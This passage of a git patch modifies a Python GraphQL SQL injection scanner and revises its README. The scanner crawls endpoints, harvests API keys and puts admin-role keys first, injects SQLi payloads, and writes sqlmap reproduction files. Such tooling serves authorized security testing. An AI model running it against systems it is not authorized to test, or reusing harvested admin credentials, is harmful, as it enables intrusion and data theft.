max_items_per_list) + for q in qlist: + if requests_made >= max_requests: + break + if verbose: + print(Fore.BLUE + "[>] Seed query: " + truncate_str(q, 800)) + resp = post_graphql(endpoint, headers, {"query": q}, verbose=verbose) + requests_made += 1 + rdata = get_field_from_response(resp.get("data"), fname) + if rdata: + collect(rdata) + if isinstance(rdata, list): + for it in rdata[:max_items_per_list]: + if isinstance(it, dict): + key = it.get("key") or it.get("apiKey") or it.get("token") + role = it.get("role") + if key and role: + key_roles[key] = role + elif isinstance(rdata, dict): + key = rdata.get("key") or rdata.get("apiKey") or rdata.get("token") + role = rdata.get("role") + if key and role: + key_roles[key] = role + if delay and requests_made < max_requests: + time.sleep(delay) + + added_decoded = 0 + for key, vals in list(extracted_values.items()): + for v in list(vals)[:200]: + d = try_decode_global_id(v) + if d: + typ, idv = d + extracted_values.setdefault("id", set()).add(idv) + extracted_values.setdefault(f"{typ.lower()}Id", set()).add(idv) + added_decoded += 1 + if added_decoded: + print(Fore.GREEN + f"[+] Decoded {added_decoded} global/base64 id(s)") - # BFS/iterative expansion: try fields that require args, filling args from extracted_values depth = 0 while depth < max_depth and requests_made < max_requests: progress = False + id_candidates: List[str] = [] + if "id" in extracted_values: + id_candidates.extend(list(extracted_values["id"])) + for k in list(extracted_values.keys()): + if k.lower().endswith("id") and k.lower() != "id": + id_candidates.extend(list(extracted_values[k])[:50]) + for k, vals in extracted_values.items(): + for v in list(vals)[:50]: + if try_decode_global_id(v): + id_candidates.append(v) + id_candidates = list(dict.fromkeys(id_candidates))[:500] + for field in query_fields: if requests_made >= max_requests: break @@ -483,59 +449,50 @@ def collect_strings_from_obj(obj: Any, prefix: Optional[str] = None): args = field.get("args") or [] if not args: continue - arg_names = [a.get("name") for a in args if a.get("name")] - if not arg_names: + id_arg_names = [a.get("name") for a in args if a.get("name") and 'id' in a.get("name").lower()] + if not id_arg_names: continue - # Build small candidate lists per arg candidates_per_arg = [] - for an in arg_names: - vals: List[str] = [] - if an in extracted_values: - vals = list(extracted_values[an])[:3] - else: - # try to find related keys by name - for k, vs in extracted_values.items(): - kn = re.sub(r'[_\-]', '', k.lower()) - an_norm = re.sub(r'[_\-]', '', an.lower()) - if an_norm in kn or kn in an_norm: - vals.extend(list(vs)[:2]) - if not vals: - vals = ["test", "1", "admin"] if "id" not in an.lower() else ["1", "100"] - # dedup & limit - vals = list(dict.fromkeys(vals))[:3] + for an in id_arg_names: + vals = list(extracted_values.get(an, []))[:6] + if not vals: + vals = id_candidates[:6] + if not vals: + vals = ["1"] candidates_per_arg.append(vals) - combos = [] for prod in product(*candidates_per_arg): - args_dict = {arg_names[i]: prod[i] for i in range(len(arg_names))} + args_dict = {id_arg_names[i]: prod[i] for i in range(len(id_arg_names))} ahash = hashlib.sha1(json.dumps({"f": fname, "args": args_dict}, sort_keys=True).encode()).hexdigest() if (fname, ahash) in visited: continue combos.append((args_dict, ahash)) if len(combos) >= 6: break - for args_dict, ahash in combos: if requests_made >= max_requests: break visited.add((fname, ahash)) - sel = None return_type_name = extract_named_type(field.get("type")) ret_def = find_type_definition(types, return_type_name) + sel = None if ret_def and ret_def.get("fields"): sel = pick_scalar_field_for_type(ret_def, types) or (ret_def.get("fields")[0].get("name")) q = build_query(fname, args_dict, sel) - resp = post_graphql(endpoint, headers, q) + q_str = q.get("query") if isinstance(q, dict) else str(q) + if verbose: + print(Fore.BLUE + "[>] Follow query: " + truncate_str(q_str, 800)) + resp = post_graphql(endpoint, headers, {"query": q_str}, verbose=verbose) requests_made += 1 progress = True rdata = get_field_from_response(resp.get("data"), fname) if rdata: - collect_strings_from_obj(rdata) + collect(rdata) if isinstance(rdata, list): - for item in rdata[:max_items_per_list]: - if isinstance(item, dict): - key = item.get("key") or item.get("apiKey") or item.get("token") - role = item.get("role") + for it in rdata[:max_items_per_list]: + if isinstance(it, dict): + key = it.get("key") or it.get("apiKey") or it.get("token") + role = it.get("role") if key and role: key_roles[key] = role elif isinstance(rdata, dict): @@ -543,8 +500,22 @@ def collect_strings_from_obj(obj: Any, prefix: Optional[str] = None): role = rdata.get("role") if key and role: key_roles[key] = role + if delay and requests_made < max_requests: + time.sleep(delay) if not progress: break + new_decoded = 0 + for key, vals in list(extracted_values.items()): + for v in list(vals)[:200]: + d = try_decode_global_id(v) + if d: + typ, idv = d + if idv not in extracted_values.get("id", set()): + extracted_values.setdefault("id", set()).add(idv) + extracted_values.setdefault(f"{typ.lower()}Id", set()).add(idv) + new_decoded += 1 + if new_decoded: + print(Fore.GREEN + f"[+] Decoded {new_decoded} additional global/base64 id(s)") depth += 1 total_vals = sum(len(v) for v in extracted_values.values()) @@ -552,82 +523,80 @@ def collect_strings_from_obj(obj: Any, prefix: Optional[str] = None): print(Fore.GREEN + f"[+] Crawled and extracted {total_vals} values from {len(extracted_values)} distinct keys (requests made: {requests_made})") if key_roles: print(Fore.GREEN + f"[+] Found {len(key_roles)} key->role mappings during crawl") + _pretty_print_extracted_values(extracted_values, key_roles) return extracted_values, key_roles -def find_matching_values(arg_name: str, extracted_values: Dict[str, Set[str]], key_roles: Dict[str, str]) -> List[str]: - arg_lower = arg_name.lower() +def simple_name_match_values(arg_name: str, extracted_values: Dict[str, Set[str]]) -> List[str]: + an = arg_name.lower() + if an in extracted_values: + return list(extracted_values[an])[:5] candidates = [] - scored_candidates = [] - if arg_name in extracted_values: - for v in list(extracted_values[arg_name])[:3]: - score = 100 - if v in key_roles and key_roles[v].lower() in ('admin', 'manager', 'superuser'): - score += 50 - scored_candidates.append((score, v)) - for key, values in extracted_values.items(): - key_normalized = re.sub(r'[_\-]', '', key.lower()) - arg_normalized = re.sub(r'[_\-]', '', arg_lower) - if key_normalized in arg_normalized or arg_normalized in key_normalized: - for v in list(values)[:3]: - score = 80 - if len(v) > 20: - score += 15 - if v in key_roles: - role = key_roles[v].lower() - if 'admin' in role: - score += 100 - elif 'manager' in role or 'superuser' in role: - score += 50 - elif 'guest' in role or 'user' in role: - score -= 20 - if 'key' in arg_lower and 'key' in key.lower(): - score += 10 - scored_candidates.append((score, v)) - elif 'key' in arg_lower and 'key' in key.lower(): - for v in list(values)[:2]: - score = 70 - if len(v) > 20: - score += 15 - if v in key_roles and 'admin' in key_roles[v].lower(): - score += 100 - scored_candidates.append((score, v)) - elif 'token' in arg_lower and 'token' in key.lower(): - for v in list(values)[:2]: - score = 70 - if v in key_roles and 'admin' in key_roles[v].lower(): - score += 100 - scored_candidates.append((score, v)) - elif 'id' in arg_lower and 'id' in key.lower(): - for v in list(values)[:2]: - scored_candidates.append((50, v)) - elif 'name' in arg_lower and 'name' in key.lower(): - for v in list(values)[:2]: - scored_candidates.append((60, v)) - scored_candidates.sort(reverse=True, key=lambda x: x[0]) + for k, vals in extracted_values.items(): + kn = k.lower() + if an in kn or kn in an: + candidates.extend(list(vals)[:3]) + if 'key' in an and 'key' in extracted_values: + candidates = list(extracted_values['key'])[:5] + candidates + if 'token' in an and 'token' in extracted_values: + candidates = list(extracted_values['token'])[:5] + candidates seen = set() - for score, value in scored_candidates: - if value not in seen: - candidates.append(value) - seen.add(value) - if len(candidates) >= 5: - break - return candidates - - -def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, crawl_depth: int = 2, max_requests: int = 250, max_items: int = 10) -> List[Dict[str, Any]]: - """ - Ejecuta el detector y devuelve una lista filtrada de hallazgos. - - Recolectamos todas las señales en temp_findings por parámetro (field,arg) - - Post-procesamos: reportamos un parámetro SOLO si cumple reglas de confirmación: - * Tiene al menos un SQL_ERROR_* (error claro en la BD) OR - * Tiene al menos 2 distintos payloads que producen evidencia (reduce ruido) OR - * Tiene combinación de señales fuertes (RESPONSE_DIFF + NULL_ON_ATTACK) OR - * Tiene un NULL_ON_ATTACK confirmado - Esto ayuda a evitar que campos como 'author' (que pueden devolver null/syntax errors) generen demasiados falsos positivos. - """ + res = [] + for v in candidates: + if v not in seen: + res.append(v) + seen.add(v) + if len(res) >= 5: + break + return res + + +def check_sql_error_in_response(resp_data: Dict[str, Any]) -> Optional[Dict[str, str]]: + if not resp_data: + return None + errors = resp_data.get("errors") + if not errors: + return None + for e in errors: + msg = str(e.get("message", "")) + for rx in SQL_ERROR_SIGS: + if rx.search(msg): + return {"evidence": msg, "pattern": rx.pattern} + return None + + +def detect_missing_required_arg(resp_data: Dict[str, Any]) -> Optional[str]: + if not resp_data: + return None + errors = resp_data.get("errors") or [] + for e in errors: + msg = str(e.get("message", "")) + m = re.search(r'argument\s+"([^"]+)"[^.]*required but not provided', msg, re.I) + if m: + return m.group(1) + return None + + +def detect_graphql_syntax_error(resp_data: Dict[str, Any]) -> Optional[str]: + if not resp_data: + return None + errors = resp_data.get("errors") or [] + for e in errors: + msg = str(e.get("message", "")) + if re.search(r"Syntax Error GraphQL|Syntax Error|Unexpected character|Expected :, found", msg, re.I): + return msg + return None + + +def write_marker_and_cmd(endpoint: str, headers: Dict[str, str], attack_query: str, field: str, arg: str, payload: str) -> Tuple[str, str]: + repro = write_repro_request_file_with_marker(endpoint, headers, attack_query, field, arg, payload) + cmd = _build_sqlmap_cmd_marker(repro) + return repro, cmd + + +def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, crawl_depth: int = 2, max_requests: int = 250, max_items: int = 10, crawl_delay: float = 0.0, verbose: bool = False) -> List[Dict[str, Any]]: print(Fore.CYAN + f"[*] Running introspection on {endpoint}") - intros = post_graphql(endpoint, headers, {"query": INTROSPECTION_QUERY}) + intros = post_graphql(endpoint, headers, {"query": INTROSPECTION_QUERY}, verbose=verbose) schema = None try: schema = intros["data"]["data"]["__schema"] @@ -644,31 +613,31 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr query_fields = query_type.get("fields", []) - # Use crawling if requested, otherwise the simpler extractor if crawl: - extracted_values, key_roles = crawl_and_extract_values(endpoint, headers, query_fields, types, max_depth=crawl_depth, max_requests=max_requests, max_items_per_list=max_items) + extracted_values, key_roles = crawl_and_extract_values(endpoint, headers, query_fields, types, max_depth=crawl_depth, max_requests=max_requests, max_items_per_list=max_items, delay=crawl_delay, verbose=verbose) else: - extracted_values, key_roles = extract_values_from_schema(endpoint, headers, query_fields, types) + extracted_values, key_roles = crawl_and_extract_values(endpoint, headers, query_fields, types, max_depth=1, max_requests=50, max_items_per_list=max_items, delay=crawl_delay, verbose=verbose) + + # build a list of admin keys (if any) to prioritize for key-like args + admin_keys = [k for k, r in key_roles.items() if isinstance(r, str) and 'admin' in r.lower()] + if admin_keys: + print(Fore.GREEN + f"[+] Prioritizing {len(admin_keys)} admin key(s) when filling key-like arguments") - # temp storage: (field,arg) -> list of finding dicts temp_findings: Dict[Tuple[str, str], List[Dict[str, Any]]] = {} for field in query_fields: args = field.get("args", []) or [] if not args: continue - field_name = field.get("name") if not field_name or field_name.startswith("__"): continue - # Identify string-like args string_args = [] for arg in args: arg_type_name = extract_named_type(arg.get("type")) if is_string_type(arg_type_name): string_args.append(arg) - if not string_args: continue @@ -682,29 +651,39 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr if not selection: selection = "__typename" - # Prepare base candidate pool for each arg base_values: Dict[str, List[str]] = {} for arg in args: - arg_name = arg.get("name") - arg_type_name = extract_named_type(arg.get("type")) - matching = find_matching_values(arg_name, extracted_values, key_roles) - if matching: - base_values[arg_name] = matching - elif is_string_type(arg_type_name): - base_values[arg_name] = ["test", "admin", "test123"] + an = arg.get("name") + ev = list(extracted_values.get(an, []))[:8] + # If there are admin keys and this arg looks like a key, prioritize admin keys + if an and any(k in an.lower() for k in ("key", "apikey", "token")) and admin_keys: + # put admin keys first (dedup while preserving order) + deduped = [] + for k in admin_keys: + if k not in deduped: + deduped.append(k) + for v in ev: + if v not in deduped: + deduped.append(v) + ev = deduped[:8] + if verbose: + print(Fore.YELLOW + f"[>] Using prioritized admin keys for argument '{an}': {ev[:3]}") + if not ev: + ev = simple_name_match_values(an, extracted_values) + if ev: + base_values[an] = ev else: - base_values[arg_name] = ["1", "100"] + arg_type_name = extract_named_type(arg.get("type")) + base_values[an] = ["test", "admin", "test123"] if is_string_type(arg_type_name) else ["1", "100"] for target_arg in string_args: target_arg_name = target_arg.get("name") - # Candidate combinations for other args other_args = [a.get("name") for a in args if a.get("name") != target_arg_name] candidate_lists = [] for oname in other_args: vals = base_values.get(oname, ["test"]) - vals_sorted = sorted(vals, key=lambda x: len(str(x)), reverse=True) - candidate_lists.append(vals_sorted[:3] if isinstance(vals_sorted, list) else [str(vals_sorted)]) + candidate_lists.append(sorted(vals, key=lambda x: len(str(x)), reverse=True)[:3]) combos_to_try: List[Dict[str, str]] = [] if candidate_lists: @@ -722,14 +701,14 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr else: combos_to_try.append({target_arg_name: "test"}) - # find working baseline working_args: Optional[Dict[str, str]] = None + base_resp = None base_norm = None base_has_error = True - base_resp = None for attempt_args in combos_to_try: base_payload = build_query(field_name, attempt_args, selection) - base_resp = post_graphql(endpoint, headers, base_payload) + base_q = base_payload.get("query") if isinstance(base_payload, dict) else str(base_payload) + base_resp = post_graphql(endpoint, headers, {"query": base_q}, verbose=verbose) base_norm = normalize_resp(base_resp.get("data")) base_has_error = bool(base_resp.get("data", {}).get("errors")) if not base_has_error: @@ -741,51 +720,40 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr working_args = combos_to_try[0].copy() if combos_to_try else {target_arg_name: "test"} print(Fore.YELLOW + Style.DIM + f"[!] No clean baseline found for {field_name}.{target_arg_name}, using best-effort baseline: {working_args}") - # simple baseline for typename comparisons - simple_q_base = build_query(field_name, {**{k: v for k, v in working_args.items()}, target_arg_name: "test"}, "__typename") - simple_base_resp = post_graphql(endpoint, headers, simple_q_base) + simple_q_base = build_query(field_name, {**working_args, target_arg_name: "test"}, "__typename") + simple_q_str = simple_q_base.get("query") if isinstance(simple_q_base, dict) else str(simple_q_base) + simple_base_resp = post_graphql(endpoint, headers, {"query": simple_q_str}, verbose=verbose) simple_base_norm = normalize_resp(simple_base_resp.get("data")) - simple_field_value = None - try: - simple_field_value = get_field_from_response(simple_base_resp.get("data"), field_name) - except Exception: - simple_field_value = None + simple_field_value = get_field_from_response(simple_base_resp.get("data"), field_name) - # run smart payloads for payload in PAYLOADS: attack_args = working_args.copy() attack_args[target_arg_name] = payload attack_payload = build_query(field_name, attack_args, selection) - attack_resp = post_graphql(endpoint, headers, attack_payload) - attack_query = attack_payload["query"] + attack_q_str = attack_payload.get("query") if isinstance(attack_payload, dict) else str(attack_payload) + attack_resp = post_graphql(endpoint, headers, {"query": attack_q_str}, verbose=verbose) - # skip graphQL syntax errors (not SQLi) - gql_syntax_msg = detect_graphql_syntax_error(attack_resp.get("data")) - if gql_syntax_msg: - # skip this payload for this param + if detect_graphql_syntax_error(attack_resp.get("data")): continue missing_arg = detect_missing_required_arg(attack_resp.get("data")) if missing_arg: - if missing_arg not in attack_args or not attack_args.get(missing_arg): - candidate = None - if base_values.get(missing_arg): - candidate = base_values[missing_arg][0] - else: - matches = find_matching_values(missing_arg, extracted_values, key_roles) - if matches: - candidate = matches[0] - if candidate: - attack_args[missing_arg] = candidate - attack_payload = build_query(field_name, attack_args, selection) - attack_resp = post_graphql(endpoint, headers, attack_payload) - attack_query = attack_payload["query"] - gql_syntax_msg = detect_graphql_syntax_error(attack_resp.get("data")) - if gql_syntax_msg: - continue - else: - # can't fill required arg -> skip this payload + candidate = None + if base_values.get(missing_arg): + candidate = base_values[missing_arg][0] + else: + matches = simple_name_match_values(missing_arg, extracted_values) + if matches: + candidate = matches[0] + if candidate: + attack_args[missing_arg] = candidate + attack_payload = build_query(field_name, attack_args, selection) + attack_q_str = attack_payload.get("query") if isinstance(attack_payload, dict) else str(attack_payload) + attack_resp = post_graphql(endpoint, headers, {"query": attack_q_str}, verbose=verbose) + if detect_graphql_syntax_error(attack_resp.get("data")): continue + else: + continue sql_err = check_sql_error_in_response(attack_resp.get("data")) attack_norm = normalize_resp(attack_resp.get("data")) @@ -794,7 +762,7 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr temp_findings.setdefault(key, []) if sql_err: - repro_path = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) + repro, cmd = write_marker_and_cmd(endpoint, headers, attack_q_str, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -804,13 +772,13 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "evidence": sql_err["evidence"], "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), - "repro": repro_path, + "recommended_cmd": cmd, + "repro": repro, }) continue if base_norm and attack_norm and base_norm != attack_norm and not base_has_error: - repro_path = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) + repro, cmd = write_marker_and_cmd(endpoint, headers, attack_q_str, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -820,13 +788,13 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "evidence": "Baseline != Attack", "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), - "repro": repro_path, + "recommended_cmd": cmd, + "repro": repro, }) continue if base_norm and attack_norm and ("null" in attack_norm) and ("null" not in base_norm): - repro_path = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) + repro, cmd = write_marker_and_cmd(endpoint, headers, attack_q_str, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -836,14 +804,13 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "evidence": "Null returned on attack while baseline had data", "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), - "repro": repro_path, + "recommended_cmd": cmd, + "repro": repro, }) continue - # simple-response diff (only if simple baseline had meaningful data) if simple_field_value not in (None, {}, []) and simple_base_norm and attack_norm and simple_base_norm != attack_norm: - repro_path = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) + repro, cmd = write_marker_and_cmd(endpoint, headers, attack_q_str, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -853,15 +820,15 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "evidence": "Simple baseline __typename differs from attack", "base_response": simple_base_resp.get("data"), "attack_response": attack_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), - "repro": repro_path, + "recommended_cmd": cmd, + "repro": repro, }) continue - # SIMPLE fallback: check payloads individually (with required-arg filling & syntax checks) for payload in PAYLOADS: simple_attack_q = build_query(field_name, {target_arg_name: payload}, "__typename") - simple_atk_resp = post_graphql(endpoint, headers, simple_attack_q) + simple_q_str = simple_attack_q.get("query") if isinstance(simple_attack_q, dict) else str(simple_attack_q) + simple_atk_resp = post_graphql(endpoint, headers, {"query": simple_q_str}, verbose=verbose) missing_arg = detect_missing_required_arg(simple_atk_resp.get("data")) if missing_arg: @@ -869,17 +836,17 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr if base_values.get(missing_arg): candidate = base_values[missing_arg][0] else: - matches = find_matching_values(missing_arg, extracted_values, key_roles) + matches = simple_name_match_values(missing_arg, extracted_values) if matches: candidate = matches[0] if candidate: simple_attack_q = build_query(field_name, {target_arg_name: payload, missing_arg: candidate}, "__typename") - simple_atk_resp = post_graphql(endpoint, headers, simple_attack_q) + simple_q_str = simple_attack_q.get("query") if isinstance(simple_attack_q, dict) else str(simple_attack_q) + simple_atk_resp = post_graphql(endpoint, headers, {"query": simple_q_str}, verbose=verbose) else: continue - gql_syntax_msg = detect_graphql_syntax_error(simple_atk_resp.get("data")) - if gql_syntax_msg: + if detect_graphql_syntax_error(simple_atk_resp.get("data")): continue sa_norm = normalize_resp(simple_atk_resp.get("data")) @@ -889,7 +856,7 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr temp_findings.setdefault(key, []) if sa_err: - repro_path = write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload) + repro, cmd = write_marker_and_cmd(endpoint, headers, simple_q_str, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -899,13 +866,13 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "evidence": sa_err["evidence"], "base_response": simple_base_resp.get("data"), "attack_response": simple_atk_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), - "repro": repro_path, + "recommended_cmd": cmd, + "repro": repro, }) break if simple_field_value not in (None, {}, []) and simple_base_norm and sa_norm and simple_base_norm != sa_norm: - repro_path = write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload) + repro, cmd = write_marker_and_cmd(endpoint, headers, simple_q_str, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -915,20 +882,18 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "evidence": "Simple baseline __typename differs from attack", "base_response": simple_base_resp.get("data"), "attack_response": simple_atk_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), - "repro": repro_path, + "recommended_cmd": cmd, + "repro": repro, }) break - # Post-process temp_findings to reduce false positives + # post-process and confirmation rules final_findings: List[Dict[str, Any]] = [] for (field_name, arg_name), items in temp_findings.items(): - # Early suppression: if all attack responses are null/empty and there is no SQL_ERROR, skip reporting all_attack_null = True for it in items: atk = it.get("attack_response") if isinstance(atk, dict): - # extract field value if possible val = None try: if isinstance(atk.get("data"), dict): @@ -941,11 +906,10 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr all_attack_null = False break else: - # non-dict attack response (text/error) -> treat as non-null evidence all_attack_null = False break if all_attack_null and not any(i.get("type", "").startswith("SQL_ERROR") for i in items): - print(Fore.BLUE + Style.DIM + f"[-] Suppressing {field_name}.{arg_name}: all attack responses were null/empty and no SQL error found.") + print(Fore.BLUE + Style.DIM + f"[-] Suppressing {field_name}.{arg_name}: all attack responses null/empty and no SQL error.") continue types_present = set(i.get("type") for i in items) @@ -953,7 +917,6 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr has_sql_err = any(i.get("type", "").startswith("SQL_ERROR") for i in items) has_null_on_attack = any(i.get("type") == "NULL_ON_ATTACK" for i in items) - # Confirm rule: report if SQL error OR multiple distinct payloads produced signals OR strong combination if has_sql_err: for i in items: if i.get("type", "").startswith("SQL_ERROR"): @@ -981,7 +944,6 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr final_findings.append(rep) continue - # otherwise ignore (likely false positive) print(Fore.BLUE + Style.DIM + f"[-] Suppressed probable false positive for {field_name}.{arg_name} (signals: {sorted(types_present)})") return final_findings @@ -991,9 +953,7 @@ def print_findings_short(findings: List[Dict[str, Any]], truncate_len: int): if not findings: print(Fore.GREEN + "[*] No obvious SQLi indications were found using the configured payloads.") return - print(Fore.RED + Style.BRIGHT + f"\n[!] Found {len(findings)} potential SQL injection findings:\n") - for i, f in enumerate(findings, 1): print(Fore.RED + Style.BRIGHT + f"[{i}] {f.get('type')}: " + Style.RESET_ALL + f"{f.get('field')}.{f.get('arg')}") if f.get('args_used'): @@ -1008,17 +968,19 @@ def print_findings_short(findings: List[Dict[str, Any]], truncate_len: int): def main(): - parser = argparse.ArgumentParser(description="GraphQL SQLi mini-detector (Enhanced - extracts values from schema)") + parser = argparse.ArgumentParser(description="GraphQL SQLi mini-detector (general crawler + extractor)") parser.add_argument("endpoint", help="GraphQL endpoint URL") parser.add_argument("headers", nargs="?", help="Optional headers JSON", default=None) - parser.add_argument("--crawl", action="store_true", help="Enable limited crawling to extract outputs and reuse them as inputs (opt-in, may increase requests)") + parser.add_argument("--crawl", action="store_true", help="Enable limited crawling to extract outputs and reuse them as inputs (opt-in)") parser.add_argument("--crawl-depth", type=int, default=2, help="Max crawl depth (default: 2)") parser.add_argument("--max-requests", type=int, default=250, help="Maximum number of requests allowed during crawling (default: 250)") parser.add_argument("--max-items", type=int, default=10, help="Max items per list to inspect when extracting values (default: 10)") + parser.add_argument("--crawl-delay", type=float, default=0.0, help="Delay in seconds between crawl requests (default: 0.0)") + parser.add_argument("--verbose", action="store_true", help="Print queries and debug information") args = parser.parse_args() headers = try_parse_headers(args.headers) - findings = run_detector(args.endpoint, headers, crawl=args.crawl, crawl_depth=args.crawl_depth, max_requests=args.max_requests, max_items=args.max_items) + findings = run_detector(args.endpoint, headers, crawl=args.crawl, crawl_depth=args.crawl_depth, max_requests=args.max_requests, max_items=args.max_items, crawl_delay=args.crawl_delay, verbose=args.verbose) print_findings_short(findings, TRUNCATE_LEN_DEFAULT) From 04f441f3a362d1dfa726d9b6999f9eb7d1760cde Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 23:01:51 +0100 Subject: [PATCH 19/30] Revise README for clarity and detail enhancements Updated README to clarify functionality, usage, and output details of the GraphQL SQL injection detector. Improved descriptions of key capabilities, CLI flags, and limitations. --- sqli/README.md | 140 +++++++++++++++++++++++++------------------------ 1 file changed, 71 insertions(+), 69 deletions(-) diff --git a/sqli/README.md b/sqli/README.md index 51dca78..b32e8b8 100644 --- a/sqli/README.md +++ b/sqli/README.md @@ -1,55 +1,37 @@ +# GraphQL SQLi Detector (sqli_detector.py) -# GraphQL SQLi Detector +A compact GraphQL SQL injection mini-detector (Python). This script performs GraphQL introspection, attempts a set of SQLi-like payloads against candidate string arguments, and writes reproducible marker `.http` files for use with sqlmap. The detector includes heuristics to reduce false positives and attempts to populate required arguments using values extracted from simple queries or an optional limited crawler. It also prioritizes discovered admin API keys when filling key-like arguments to increase coverage of privileged code paths. -A compact GraphQL SQL injection mini-detector (Python). This script performs GraphQL introspection, attempts a set of SQLi-like payloads against candidate string arguments, and writes reproducible marker `.http` files for use with sqlmap. The detector includes heuristics to reduce false positives and attempts to populate required arguments using values extracted from simple queries. +--- ## Key capabilities - Performs GraphQL introspection to discover `Query` fields and their arguments. -- Attempts to extract real values from simple queries (tokens, keys, names) to use as baseline or to fill required arguments. +- Extracts real values from simple queries (tokens, keys, names) to use as baseline or to fill required arguments. +- Optional, opt-in crawling to follow relationships and collect more candidate inputs (Relay-style pagination attempts included). +- Decodes common GraphQL global IDs encoded as base64 and adds decoded IDs as candidates. - Tests string-like arguments with a curated set of SQLi payloads. -- Detects SQL error messages in GraphQL `errors` responses. +- Detects SQL error messages included in GraphQL `errors`. - Detects response differences (baseline vs attack), `NULL`-on-attack, and other signals. - Writes reproducible `.http` marker files in `repro-payloads/` where the vulnerable value is replaced by `*`. - Produces a recommended sqlmap command for confirmed findings. -- Uses confirmation rules to reduce false positives (report only on stronger evidence). +- Prioritizes API keys discovered with role `admin` when filling key-like arguments (e.g. `apiKey`, `key`, `token`), increasing the chance to reach privileged code paths. +- Uses confirmation rules to reduce false positives (reports only when evidence is strong). --- ## What the detector does (high-level) -1. Runs GraphQL introspection to obtain schema types and `Query` fields. -2. Tries to extract values from simple, argument-less queries (e.g., lists of objects) to collect tokens / names that may help construct valid requests. +1. Runs GraphQL introspection to obtain types and `Query` fields. +2. Extracts values from simple, argument-less queries (seed phase) and, optionally, runs a limited BFS-style crawl: + - For seed fields it tries several query shapes (simple selection, Relay `first:N` with `edges.node`, and `first:N` without edges) to coax items out of paginated endpoints. + - Decodes base64/global IDs and adds decoded IDs (and `Id` keys) to candidate pools. + - Follows id-like args using extracted IDs to expand discovery. 3. For each field with string-like arguments: - Builds a working baseline by trying a few combinations of plausible values for other args. - Sends curated SQLi-like payloads in the target argument. - - Skips results that are simple GraphQL syntax errors (not SQLi). - - Detects SQL error messages, response differences, and null-on-attack. - - If a required argument is missing, attempts to fill it from extracted values. -4. For confirmed signals, writes a marker `.http` file with the attack request (vulnerable value replaced by `*`) and recommends a sqlmap command. - ---- - -## Output -- Human-readable findings printed to stdout (colored if `colorama` is installed). -- Repro marker files in `repro-payloads/` for each finding; filenames include a timestamp and short hash to avoid collisions. -- Each finding includes: - - field and argument name - - arguments used for the attack - - evidence (error message or description) - - marker request path - - recommended sqlmap command (uses `-r ` and `-p "JSON[query]"`) ---- - -## Marker (.http) files -- Generated marker files are complete HTTP POST requests to the GraphQL endpoint with a JSON body where the vulnerable value is replaced by `*`. Example: -``` -POST /graphql HTTP/1.1 -Host: example.com -Content-Type: application/json -Authorization: Bearer TOKEN - -{"query":"query { user(id: \"123\") { email } }"} -``` -- The script replaces the attacked value with `*` so sqlmap can inject into `JSON[query]` using `-p "JSON[query]"` and `-r `. + - Skips GraphQL syntax errors (not SQLi). + - Detects SQL error messages, response diffs, and null-on-attack. + - If a required argument is missing, attempts to fill it from extracted values (with a simple name-match fallback). +4. For confirmed signals, writes a `.http` marker file with the attack request (attacked value replaced by `*`) and suggests a sqlmap command. --- @@ -68,14 +50,14 @@ Examples: ```bash python sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' ``` -- Run with crawling enabled (use only for authorized audits): +- Run with crawling (authorized audits only): ```bash - python sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' --crawl --crawl-depth 2 --max-requests 250 --max-items 10 + python sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' --crawl --crawl-depth 2 --max-requests 200 --max-items 10 --crawl-delay 0.1 --verbose ``` --- -## CLI flags (implemented in 